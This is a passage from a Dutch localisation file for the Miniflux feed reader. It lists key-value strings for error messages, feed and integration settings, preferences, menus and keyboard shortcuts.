\"error.feed_invalid_blocklist_rule\": \"De blokkeerregel is ongeldig.\",\n    \"error.feed_invalid_keeplist_rule\": \"De bewaarregel is ongeldig.\",\n    \"error.feed_mandatory_fields\": \"De velden URL en categorie zijn verplicht.\",\n    \"error.feed_not_found\": \"Deze feed bestaat niet of is niet van deze gebruiker.\",\n    \"error.feed_title_not_empty\": \"De feed titel mag niet leeg zijn.\",\n    \"error.feed_url_not_empty\": \"De feed URL mag niet leeg zijn.\",\n    \"error.fields_mandatory\": \"Alle velden moeten ingevuld zijn.\",\n    \"error.http_bad_gateway\": \"De website is momenteel niet beschikbaar vanwege een slechte-gateway-fout. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.\",\n    \"error.http_body_read\": \"Kan de HTTP-body niet lezen: %v.\",\n    \"error.http_client_error\": \"HTTP-client-fout: %v.\",\n    \"error.http_empty_response\": \"De HTTP-respons is leeg. Misschien gebruikt deze website een botbeveiligingsmechanisme?\",\n    \"error.http_empty_response_body\": \"De HTTP-respons body is leeg.\",\n    \"error.http_forbidden\": \"Toegang tot deze website is verboden. Misschien heeft deze website een botbeveiligingsmechanisme?\",\n    \"error.http_gateway_timeout\": \"De website is momenteel niet beschikbaar vanwege een timeout bij de gateway. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.\",\n    \"error.http_internal_server_error\": \"De website is momenteel niet beschikbaar vanwege een interne-server-fout. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.\",\n    \"error.http_not_authorized\": \"Toegang tot deze website is niet geautoriseerd. Het kan een foute gebruikersnaam of wachtwoord zijn.\",\n    \"error.http_resource_not_found\": \"De gevraagde bron is niet gevonden. Controleer de URL.\",\n    \"error.http_response_too_large\": \"De HTTP-respons is te groot. Je kunt de limiet voor de HTTP-responsgrootte verhogen in de globale instellingen (server herstart noodzakelijk)\",\n    \"error.http_service_unavailable\": \"De website is momenteel niet beschikbaar vanwege een interne-server-fout. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.\",\n    \"error.http_too_many_requests\": \"Miniflux heeft te veel aanvragen gegenereerd voor deze website. Probeer het later nog eens of wijzig de applicatieconfiguratie.\",\n    \"error.http_unexpected_status_code\": \"De website is momenteel niet beschikbaar vanwege een onverwachte HTTP-statuscode: %d. De oorzaak hiervan ligt niet bij Miniflux. Probeer het later nogmaals aub.\",\n    \"error.invalid_categories_sorting_order\": \"Ongeldige volgorde van categorieën.\",\n    \"error.invalid_default_home_page\": \"Ongeldige startpagina!\",\n    \"error.invalid_display_mode\": \"Ongeldige weergavemodus voor de webapp.\",\n    \"error.invalid_entry_direction\": \"Ongeldige sorteervolgorde.\",\n    \"error.invalid_entry_order\": \"Ongeldige volgorde van artikelen.\",\n    \"error.invalid_feed_proxy_url\": \"Ongeldige proxy-URL.\",\n    \"error.invalid_feed_url\": \"Ongeldige feed URL.\",\n    \"error.invalid_gesture_nav\": \"Ongeldige gebarennavigatie.\",\n    \"error.invalid_language\": \"Ongeldige taal.\",\n    \"error.invalid_site_url\": \"Ongeldige site URL.\",\n    \"error.invalid_theme\": \"Ongeldig thema.\",\n    \"error.invalid_timezone\": \"Ongeldige tijdzone.\",\n    \"error.network_operation\": \"Miniflux kan deze website niet bereiken vanwege een netwerkfout: %v.\",\n    \"error.network_timeout\": \"Deze website is te traag en de aanvraag gaf timeout: %v\",\n    \"error.password_min_length\": \"Minimaal 6 tekens gebruiken.\",\n    \"error.proxy_url_not_empty\": \"De proxy-URL mag niet leeg zijn.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Ongeldige blokkeerregel: regel #%d mist een geldige veldnaam (Opties: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Ongeldige blokkeerregel: het patroon van regel #%d is geen geldige regex\",\n    \"error.settings_block_rule_regex_required\": \"Ongeldige blokkeerregel:  het patroon van regel #%d is niet opgegeven\",\n    \"error.settings_block_rule_separator_required\": \"Ongeldige blokkeerregel: het patroon van regel #%d moet worden gescheiden door een '='\",\n    \"error.settings_invalid_domain_list\": \"Ongeldige domeinlijst. Geef een spatiegescheiden lijst van domeinen op.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Ongeldige bewaarregel: regel #%d mist een geldige veldnaam (Options: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Ongeldige bewaarregel: het patroon van regel #%d is geen geldige regex\",\n    \"error.settings_keep_rule_regex_required\": \"Ongeldige bewaarregel: het patroon van regel #%d is niet opgegeven\",\n    \"error.settings_keep_rule_separator_required\": \"Ongeldige bewaarregel: het patroon van regel #%d moet worden gescheiden door een '='\",\n    \"error.settings_mandatory_fields\": \"Gebruikersnaam, thema, taal en tijdzone zijn verplichte velden.\",\n    \"error.settings_media_playback_rate_range\": \"Afspeelsnelheid is buiten bereik\",\n    \"error.settings_reading_speed_is_positive\": \"De leessnelheden moeten positieve gehele getallen zijn.\",\n    \"error.site_url_not_empty\": \"De site URL mag niet leeg zijn.\",\n    \"error.subscription_not_found\": \"Kan geen feeds vinden.\",\n    \"error.title_required\": \"De titel is verplicht.\",\n    \"error.tls_error\": \"TLS fout: %q. Als je wilt, kun je TLS-verificatie uitschakelen in de feed-instellingen.\",\n    \"error.unable_to_create_api_key\": \"Kan deze API-sleutel niet aanmaken.\",\n    \"error.unable_to_create_category\": \"Kan deze categorie niet aanmaken.\",\n    \"error.unable_to_create_user\": \"Kan deze gebruiker niet aanmaken.\",\n    \"error.unable_to_detect_rssbridge\": \"Kan feed niet detecteren met RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Kan deze feed niet verwerken: %v.\",\n    \"error.unable_to_update_category\": \"Kan categorie niet bijwerken.\",\n    \"error.unable_to_update_feed\": \"Kan deze feed niet bijwerken.\",\n    \"error.unable_to_update_user\": \"Kan deze gebruiker niet bijwerken.\",\n    \"error.unlink_account_without_password\": \"Je moet een wachtwoord opgeven anders kun je niet meer inloggen.\",\n    \"error.user_already_exists\": \"Deze gebruiker bestaat al.\",\n    \"error.user_mandatory_fields\": \"Gebruikersnaam is verplicht\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token en Organization Slug zijn verplicht\",\n    \"form.api_key.label.description\": \"API-sleutel omschrijving\",\n    \"form.category.hide_globally\": \"Verberg artikelen in de globale ongelezen lijst\",\n    \"form.category.label.title\": \"Titel\",\n    \"form.feed.fieldset.general\": \"Algemeen\",\n    \"form.feed.fieldset.integration\": \"Diensten van derden\",\n    \"form.feed.fieldset.network_settings\": \"Netwerk Instellingen\",\n    \"form.feed.fieldset.rules\": \"Regels\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Zelfondertekende of ongeldige certificaten toestaan\",\n    \"form.feed.label.apprise_service_urls\": \"Door komma's gescheiden lijst van Apprise service URL's\",\n    \"form.feed.label.block_filter_entry_rules\": \"Blokkeerregels voor Items\",\n    \"form.feed.label.blocklist_rules\": \"Regex-gebaseerde Blokkeerfilters\",\n    \"form.feed.label.category\": \"Categorie\",\n    \"form.feed.label.cookie\": \"Cookies instellen\",\n    \"form.feed.label.crawler\": \"Download originele inhoud\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Omschrijving\",\n    \"form.feed.label.disable_http2\": \"HTTP/2 uitschakelen om fingerprinting te voorkomen\",\n    \"form.feed.label.disabled\": \"Deze feed niet vernieuwen\",\n    \"form.feed.label.feed_password\": \"Feed wachtwoord\",\n    \"form.feed.label.feed_url\": \"Feed-URL\",\n    \"form.feed.label.feed_username\": \"Feed gebruikersnaam\",\n    \"form.feed.label.fetch_via_proxy\": \"Gebruik de proxy die op applicatieniveau is geconfigureerd\",\n    \"form.feed.label.hide_globally\": \"Verberg artikelen in de globale ongelezen lijst\",\n    \"form.feed.label.ignore_http_cache\": \"Negeer HTTP-cache\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Toestaan Regels voor Items\",\n    \"form.feed.label.keeplist_rules\": \"Regex-gebaseerde Bewaarfilters\",\n    \"form.feed.label.no_media_player\": \"Geen mediaspeler (audio/video)\",\n    \"form.feed.label.ntfy_activate\": \"Artikelen naar ntfy sturen\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy standaard prioriteit\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy hoge prioriteit\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy lage prioriteit\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy maximale prioriteit\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy minimale prioriteit\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy prioriteit\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy onderwerp (optioneel)\",\n    \"form.feed.label.proxy_url\": \"Proxy-URL\",\n    \"form.feed.label.pushover_activate\": \"Stuur artikelen naar pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover standaard prioriteit\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover hoge prioriteit\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover lage prioriteit\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover maximale prioriteit\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover minimale prioriteit\",\n    \"form.feed.label.pushover_priority\": \"Pushover berichtprioriteit\",\n    \"form.feed.label.rewrite_rules\": \"Inhoud Herschrijfregels\",\n    \"form.feed.label.scraper_rules\": \"Extractieregels\",\n    \"form.feed.label.site_url\": \"Website URL\",\n    \"form.feed.label.title\": \"Titel\",\n    \"form.feed.label.urlrewrite_rules\": \"Herschrijfregels voor URL's\",\n    \"form.feed.label.user_agent\": \"Standaard User-agent overschrijven\",\n    \"form.feed.label.webhook_url\": \"Overschrijf webhook URL\",\n    \"form.import.label.file\": \"OPML-bestand\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Artikelen sturen naar archive.org\",\n    \"form.integration.apprise_activate\": \"Artikelen opslaan in Apprise\",\n    \"form.integration.apprise_services_url\": \"Door komma's gescheiden lijst van Apprise service URL's\",\n    \"form.integration.apprise_url\": \"Apprise API-URL\",\n    \"form.integration.betula_activate\": \"Artikelen opslaan in Betula\",\n    \"form.integration.betula_token\": \"Betula-token\",\n    \"form.integration.betula_url\": \"Betula-server-URL\",\n    \"form.integration.cubox_activate\": \"Artikelen opslaan in Cubox\",\n    \"form.integration.cubox_api_link\": \"Cubox API-link\",\n    \"form.integration.discord_activate\": \"Artikelen opslaan in Discord\",\n    \"form.integration.discord_webhook_link\": \"Discord-webhooklink\",\n    \"form.integration.espial_activate\": \"Artikelen opslaan in Espial\",\n    \"form.integration.espial_api_key\": \"Espial API-sleutel\",\n    \"form.integration.espial_endpoint\": \"Espial URL\",\n    \"form.integration.espial_tags\": \"Espial tags\",\n    \"form.integration.fever_activate\": \"Activeer Fever API\",\n    \"form.integration.fever_endpoint\": \"Fever URL:\",\n    \"form.integration.fever_password\": \"Fever wachtwoord\",\n    \"form.integration.fever_username\": \"Fever gebruikersnaam\",\n    \"form.integration.googlereader_activate\": \"Activeer Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader API-endpoint:\",\n    \"form.integration.googlereader_password\": \"Google Reader wachtwoord\",\n    \"form.integration.googlereader_username\": \"Google Reader gebruikersnaam\",\n    \"form.integration.instapaper_activate\": \"Artikelen opslaan in Instapaper\",\n    \"form.integration.instapaper_password\": \"Instapaper wachtwoord\",\n    \"form.integration.instapaper_username\": \"Instapaper gebruikersnaam\",\n    \"form.integration.karakeep_activate\": \"Artikelen opslaan in Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API-sleutel\",\n    \"form.integration.karakeep_url\": \"Karakeep URL\",\n    \"form.integration.karakeep_tags\": \"Karakeep tags\",\n    \"form.integration.linkace_activate\": \"Artikelen opslaan in LinkAce\",\n    \"form.integration.linkace_api_key\": \"LinkAce API-sleutel\",\n    \"form.integration.linkace_check_disabled\": \"Koppelingcontrole uitschakelen\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API-eindpunt\",\n    \"form.integration.linkace_is_private\": \"Koppeling als privé markeren\",\n    \"form.integration.linkace_tags\": \"LinkAce tags\",\n    \"form.integration.linkding_activate\": \"Artikelen opslaan in Linkding\",\n    \"form.integration.linkding_api_key\": \"Linkding API-sleutel\",\n    \"form.integration.linkding_bookmark\": \"Markeer favoriet als ongelezen\",\n    \"form.integration.linkding_endpoint\": \"Linkding URL\",\n    \"form.integration.linkding_tags\": \"Linkding tags\",\n    \"form.integration.linktaco_activate\": \"Artikelen opslaan in LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API-token\",\n    \"form.integration.linktaco_api_token_hint\": \"Verkrijg uw persoonlijke toegangstoken op\",\n    \"form.integration.linktaco_org_slug\": \"Organisatie-slug\",\n    \"form.integration.linktaco_tags\": \"Tags (max 10, kommagescheiden)\",\n    \"form.integration.linktaco_tags_hint\": \"Maximaal 10 tags, kommagescheiden\",\n    \"form.integration.linktaco_visibility\": \"Zichtbaarheid\",\n    \"form.integration.linktaco_visibility_public\": \"Openbaar\",\n    \"form.integration.linktaco_visibility_private\": \"Privé\",\n    \"form.integration.linktaco_visibility_hint\": \"PRIVÉ zichtbaarheid vereist een betaald LinkTaco account\",\n    \"form.integration.linkwarden_activate\": \"Artikelen opslaan in Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API-sleutel\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden Basis URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden collectie-ID\",\n    \"form.integration.matrix_bot_activate\": \"Nieuwe artikelen opslaan in Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID van Matrix-kamer\",\n    \"form.integration.matrix_bot_password\": \"Wachtwoord voor Matrix-gebruiker\",\n    \"form.integration.matrix_bot_url\": \"URL van de Matrix-server\",\n    \"form.integration.matrix_bot_user\": \"Matrix gebruikersnaam\",\n    \"form.integration.notion_activate\": \"Artikelen opslaan in Notion\",\n    \"form.integration.notion_page_id\": \"Notion-pagina-ID\",\n    \"form.integration.notion_token\": \"Notion geheim token\",\n    \"form.integration.ntfy_activate\": \"Stuur artikelen naar ntfy\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API Token (optioneel)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy Icon URL (optioneel)\",\n    \"form.integration.ntfy_internal_links\": \"Gebruik interne links bij klikken (optioneel)\",\n    \"form.integration.ntfy_password\": \"Ntfy wachtwoord (optioneel)\",\n    \"form.integration.ntfy_topic\": \"Ntfy topic (standaard gebruikt als deze niet is ingesteld in feed)\",\n    \"form.integration.ntfy_url\": \"Ntfy URL (optioneel, standaard is ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy gebruikersnaam (optioneel)\",\n    \"form.integration.nunux_keeper_activate\": \"Artikelen opslaan in Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper API-sleutel\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper URL\",\n    \"form.integration.omnivore_activate\": \"Artikelen opslaan in Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API-sleutel\",\n    \"form.integration.omnivore_url\": \"Omnivore URL\",\n    \"form.integration.pinboard_activate\": \"Artikelen opslaan in Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Markeer favoriet als ongelezen\",\n    \"form.integration.pinboard_tags\": \"Pinboard tags\",\n    \"form.integration.pinboard_token\": \"Pinboard API token\",\n    \"form.integration.pushover_activate\": \"Artikelen sturen naar Pushover\",\n    \"form.integration.pushover_device\": \"Pushover-apparaat (optioneel)\",\n    \"form.integration.pushover_prefix\": \"Pushover URL-prefix (optioneel)\",\n    \"form.integration.pushover_token\": \"Pushover API-token van de applicatie\",\n    \"form.integration.pushover_user\": \"Pushover gebruikerssleutel\",\n    \"form.integration.raindrop_activate\": \"Artikelen opslaan in Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Collectie ID\",\n    \"form.integration.raindrop_tags\": \"Tags (commagescheiden)\",\n    \"form.integration.raindrop_token\": \"Raindrop Token\",\n    \"form.integration.readeck_activate\": \"Artikelen opslaan in Readeck\",\n    \"form.integration.readeck_api_key\": \"Readeck API-sleutel\",\n    \"form.integration.readeck_endpoint\": \"Readeck-URL\",\n    \"form.integration.readeck_labels\": \"Readeck-labels\",\n    \"form.integration.readeck_only_url\": \"Alleen URL verzenden (in plaats van volledige inhoud)\",\n    \"form.integration.readeck_push_activate\": \"Nieuwe artikelen automatisch naar Readeck sturen\",\n    \"form.integration.readwise_activate\": \"Artikelen opslaan in Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader-toegangstoken\",\n    \"form.integration.readwise_api_key_link\": \"Readwise Access Token ophalen\",\n    \"form.integration.rssbridge_activate\": \"Controleer RSS-Bridge bij het toevoegen van abonnementen\",\n    \"form.integration.rssbridge_token\": \"Authenticatietoken voor RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge-server-URL\",\n    \"form.integration.shaarli_activate\": \"Artikelen opslaan in Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API-geheim\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli-URL\",\n    \"form.integration.shiori_activate\": \"Artikelen opslaan in Shiori\",\n    \"form.integration.shiori_endpoint\": \"Shiori URL\",\n    \"form.integration.shiori_password\": \"Shiori wachtwoord\",\n    \"form.integration.shiori_username\": \"Shiori gebruikersnaam\",\n    \"form.integration.slack_activate\": \"Artikelen opslaan in Slack\",\n    \"form.integration.slack_webhook_link\": \"Slack-webhooklink\",\n    \"form.integration.telegram_bot_activate\": \"Stuur nieuwe artikelen naar Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Knoppen uitschakelen\",\n    \"form.integration.telegram_bot_disable_notification\": \"Notificatie uitschakelen\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Webpaginavoorbeeld uitschakelen\",\n    \"form.integration.telegram_bot_token\": \"Bot-token\",\n    \"form.integration.telegram_chat_id\": \"Chat-ID\",\n    \"form.integration.telegram_topic_id\": \"Topic-ID\",\n    \"form.integration.wallabag_activate\": \"Artikelen opslaan in Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Wallabag Client-ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag Client-Secret\",\n    \"form.integration.wallabag_endpoint\": \"Wallabag basis-URL\",\n    \"form.integration.wallabag_only_url\": \"Alleen URL verzenden (in plaats van volledige inhoud)\",\n    \"form.integration.wallabag_password\": \"Wallabag wachtwoord\",\n    \"form.integration.wallabag_username\": \"Wallabag gebruikersnaam\",\n    \"form.integration.wallabag_tags\": \"Wallabag-tags\",\n    \"form.integration.webhook_activate\": \"Webhooks activeren\",\n    \"form.integration.webhook_secret\": \"Webhooks geheim\",\n    \"form.integration.webhook_url\": \"Standaard Webhook-URL\",\n    \"form.prefs.fieldset.application_settings\": \"Applicatie Instellingen\",\n    \"form.prefs.fieldset.authentication_settings\": \"Authenticatie Instellingen\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Globale Feed Instellingen\",\n    \"form.prefs.fieldset.reader_settings\": \"Lees Instellingen\",\n    \"form.prefs.help.external_font_hosts\": \"Spatiegescheiden lijst van externe font-hosts die zijn toegestaan. Bijvoorbeeld: 'fonts.gstatic.com fonts.googleapis.com'.\",\n    \"form.prefs.label.always_open_external_links\": \"Lees artikelen door externe links te openen\",\n    \"form.prefs.label.categories_sorting_order\": \"Volgorde categorieën\",\n    \"form.prefs.label.cjk_reading_speed\": \"Leessnelheid voor Chinees, Koreaans en Japans (tekens per minuut)\",\n    \"form.prefs.label.custom_css\": \"Aangepaste CSS\",\n    \"form.prefs.label.custom_js\": \"Aangepaste JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Startpagina\",\n    \"form.prefs.label.default_reading_speed\": \"Leessnelheid voor andere talen (woorden per minuut)\",\n    \"form.prefs.label.display_mode\": \"Weergavemodus Progressive Web App (PWA).\",\n    \"form.prefs.label.entries_per_page\": \"Artikelen per pagina\",\n    \"form.prefs.label.entry_order\": \"Artikelen sorteren\",\n    \"form.prefs.label.entry_sorting\": \"Volgorde van artikelen\",\n    \"form.prefs.label.entry_swipe\": \"Vegen tussen artikelen inschakelen op aanraakschermen\",\n    \"form.prefs.label.external_font_hosts\": \"Externe font-hosts\",\n    \"form.prefs.label.gesture_nav\": \"Gebaar om tussen artikelen te navigeren\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Sneltoetsen inschakelen\",\n    \"form.prefs.label.language\": \"Taal\",\n    \"form.prefs.label.mark_read_manually\": \"Markeer artikelen handmatig als gelezen\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Markeer artikelen alleen als gelezen wanneer het afspelen van audio/video 90%% heeft bereikt\",\n    \"form.prefs.label.mark_read_on_view\": \"Markeer artikelen automatisch als gelezen wanneer ze worden bekeken\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Markeer artikelen als gelezen wanneer ze worden bekeken. Voor audio/video, markeer als gelezen bij 90%% voltooiing\",\n    \"form.prefs.label.media_playback_rate\": \"Afspeelsnelheid van de audio/video\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Open externe links in een nieuw tabblad (voegt target=\\\"_blank\\\" toe aan links)\",\n    \"form.prefs.label.show_reading_time\": \"Toon geschatte leestijd van artikelen\",\n    \"form.prefs.label.theme\": \"Thema\",\n    \"form.prefs.label.timezone\": \"Tijdzone\",\n    \"form.prefs.select.alphabetical\": \"Alfabetisch\",\n    \"form.prefs.select.browser\": \"Systeembrowser\",\n    \"form.prefs.select.created_time\": \"Tijdstip van aanmaken artikel\",\n    \"form.prefs.select.fullscreen\": \"Volledig scherm\",\n    \"form.prefs.select.minimal_ui\": \"Minimaal\",\n    \"form.prefs.select.none\": \"Geen\",\n    \"form.prefs.select.older_first\": \"Oudere artikelen eerst\",\n    \"form.prefs.select.publish_time\": \"Tijdstip van publiceren artikel\",\n    \"form.prefs.select.recent_first\": \"Recente artikelen eerst\",\n    \"form.prefs.select.standalone\": \"Standalone-modus\",\n    \"form.prefs.select.swipe\": \"Vegen\",\n    \"form.prefs.select.tap\": \"Dubbeltik\",\n    \"form.prefs.select.unread_count\": \"Aantal ongelezen artikelen\",\n    \"form.submit.loading\": \"Laden...\",\n    \"form.submit.saving\": \"Opslaan...\",\n    \"form.user.label.admin\": \"Beheerder\",\n    \"form.user.label.confirmation\": \"Bevestig wachtwoord\",\n    \"form.user.label.password\": \"Wachtwoord\",\n    \"form.user.label.username\": \"Gebruikersnaam\",\n    \"menu.about\": \"Over\",\n    \"menu.add_feed\": \"Feed toevoegen\",\n    \"menu.add_user\": \"Gebruiker toevoegen\",\n    \"menu.api_keys\": \"API-sleutels\",\n    \"menu.categories\": \"Categorieën\",\n    \"menu.create_api_key\": \"Maak een nieuwe API-sleutel\",\n    \"menu.create_category\": \"Categorie toevoegen\",\n    \"menu.edit_category\": \"Bewerken\",\n    \"menu.edit_feed\": \"Bewerken\",\n    \"menu.export\": \"Exporteren\",\n    \"menu.feed_entries\": \"Artikelen\",\n    \"menu.feeds\": \"Abonnementen\",\n    \"menu.flush_history\": \"Verwijder geschiedenis\",\n    \"menu.history\": \"Geschiedenis\",\n    \"menu.home_page\": \"Startpagina\",\n    \"menu.import\": \"Importeren\",\n    \"menu.integrations\": \"Integraties\",\n    \"menu.logout\": \"Uitloggen\",\n    \"menu.mark_all_as_read\": \"Markeer alles als gelezen\",\n    \"menu.mark_page_as_read\": \"Markeer deze pagina als gelezen\",\n    \"menu.preferences\": \"Voorkeuren\",\n    \"menu.refresh_all_feeds\": \"Vernieuw alle feeds in de achtergrond\",\n    \"menu.refresh_feed\": \"Vernieuwen\",\n    \"menu.search\": \"Zoeken\",\n    \"menu.sessions\": \"Sessies\",\n    \"menu.settings\": \"Instellingen\",\n    \"menu.shared_entries\": \"Gedeelde artikelen\",\n    \"menu.show_all_entries\": \"Toon alle artikelen\",\n    \"menu.show_only_starred_entries\": \"Toon alleen favorieten\",\n    \"menu.show_only_unread_entries\": \"Toon alleen ongelezen artikelen\",\n    \"menu.starred\": \"Favorieten\",\n    \"menu.title\": \"Menu\",\n    \"menu.unread\": \"Ongelezen\",\n    \"menu.users\": \"Gebruikers\",\n    \"page.about.author\": \"Auteur:\",\n    \"page.about.build_date\": \"Compilatiedatum:\",\n    \"page.about.credits\": \"Credits\",\n    \"page.about.db_usage\": \"Databasegrootte:\",\n    \"page.about.git_commit\": \"Git-commit:\",\n    \"page.about.global_config_options\": \"Globale Configuratie Opties\",\n    \"page.about.go_version\": \"Go versie:\",\n    \"page.about.license\": \"Licentie:\",\n    \"page.about.postgres_version\": \"Postgres versie:\",\n    \"page.about.title\": \"Over\",\n    \"page.about.version\": \"Versie:\",\n    \"page.add_feed.choose_feed\": \"Feed kiezen\",\n    \"page.add_feed.label.url\": \"URL-adres\",\n    \"page.add_feed.legend.advanced_options\": \"Geavanceerde opties\",\n    \"page.add_feed.no_category\": \"Er is geen categorie. Je moet minstens één categorie hebben.\",\n    \"page.add_feed.submit\": \"Feed zoeken\",\n    \"page.add_feed.title\": \"Nieuwe feed\",\n    \"page.api_keys.never_used\": \"Nooit gebruikt\",\n    \"page.api_keys.table.actions\": \"Acties\",\n    \"page.api_keys.table.created_at\": \"Aanmaakdatum\",\n    \"page.api_keys.table.description\": \"Omschrijving\",\n    \"page.api_keys.table.last_used_at\": \"Laatst gebruikt\",\n    \"page.api_keys.table.token\": \"API-token\",\n    \"page.api_keys.title\": \"API-sleutels\",\n    \"page.categories.entries\": \"Artikelen\",\n    \"page.categories.feed_count\": [\n        \"Er is %d feed.\",\n        \"Er zijn %d feeds.\"\n    ],\n    \"page.categories.feeds\": \"Feeds\",\n    \"page.categories.no_feed\": \"Geen feed.\",\n    \"page.categories.title\": \"Categorieën\",\n    \"page.categories_count\": [\n        \"%d categorie\",\n        \"%d categorieën\"\n    ],\n    \"page.category_label\": \"Categorie: %s\",\n    \"page.edit_category.title\": \"Bewerk categorie: %s\",\n    \"page.edit_feed.etag_header\": \"ETAG header:\",\n    \"page.edit_feed.last_check\": \"Laatste controle:\",\n    \"page.edit_feed.last_modified_header\": \"LastModified-header:\",\n    \"page.edit_feed.last_parsing_error\": \"Laatste analysefout\",\n    \"page.edit_feed.no_header\": \"Geen\",\n    \"page.edit_feed.title\": \"Bewerk feed: %s\",\n    \"page.edit_user.title\": \"Bewerk gebruiker: %s\",\n    \"page.entry.attachments\": \"Bijlagen\",\n    \"page.feeds.error_count\": [\n        \"%d fout\",\n        \"%d fouten\"\n    ],\n    \"page.feeds.last_check\": \"Laatste controle:\",\n    \"page.feeds.next_check\": \"Volgende controle:\",\n    \"page.feeds.read_counter\": \"Aantal gelezen artikelen\",\n    \"page.feeds.title\": \"Feeds\",\n    \"page.footer.elevator\": \"Terug naar boven\",\n    \"page.history.title\": \"Geschiedenis\",\n    \"page.import.title\": \"Importeren\",\n    \"page.integration.bookmarklet\": \"Bookmarklet\",\n    \"page.integration.bookmarklet.help\": \"Gebruik deze link als bookmark in je browser om je direct te abonneren op een website.\",\n    \"page.integration.bookmarklet.instructions\": \"Sleep deze link naar je bookmarks.\",\n    \"page.integration.bookmarklet.name\": \"Toevoegen aan Miniflux\",\n    \"page.integration.miniflux_api\": \"Miniflux-API\",\n    \"page.integration.miniflux_api_endpoint\": \"API-URL\",\n    \"page.integration.miniflux_api_password\": \"Wachtwoord\",\n    \"page.integration.miniflux_api_password_value\": \"Wachtwoord van jouw account\",\n    \"page.integration.miniflux_api_username\": \"Gebruikersnaam\",\n    \"page.integrations.title\": \"Integraties\",\n    \"page.keyboard_shortcuts.close_modal\": \"Dialoogvenster sluiten\",\n    \"page.keyboard_shortcuts.download_content\": \"Download originele inhoud\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Ga naar het onderste artikel\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Ga naar categorieën\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Ga naar feed\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Ga naar feeds\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Ga naar geschiedenis\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Volgend artikel\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Volgende pagina\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Vorig artikel\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Vorige pagina\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Focus instellen op zoekformulier\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Ga naar instellingen\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Ga naar favorieten\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Ga naar het bovenste artikel\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Ga naar ongelezen\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Markeer huidige pagina als gelezen\",\n    \"page.keyboard_shortcuts.open_comments\": \"Open reacties\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Open reacties in huidig tabblad\",\n    \"page.keyboard_shortcuts.open_item\": \"Open geselecteerd artikel\",\n    \"page.keyboard_shortcuts.open_original\": \"Open originele link\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Open originele link in huidig tabblad\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Vernieuw alle feeds in de achtergrond\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Verwijder deze feed\",\n    \"page.keyboard_shortcuts.save_article\": \"Artikel opslaan\",\n    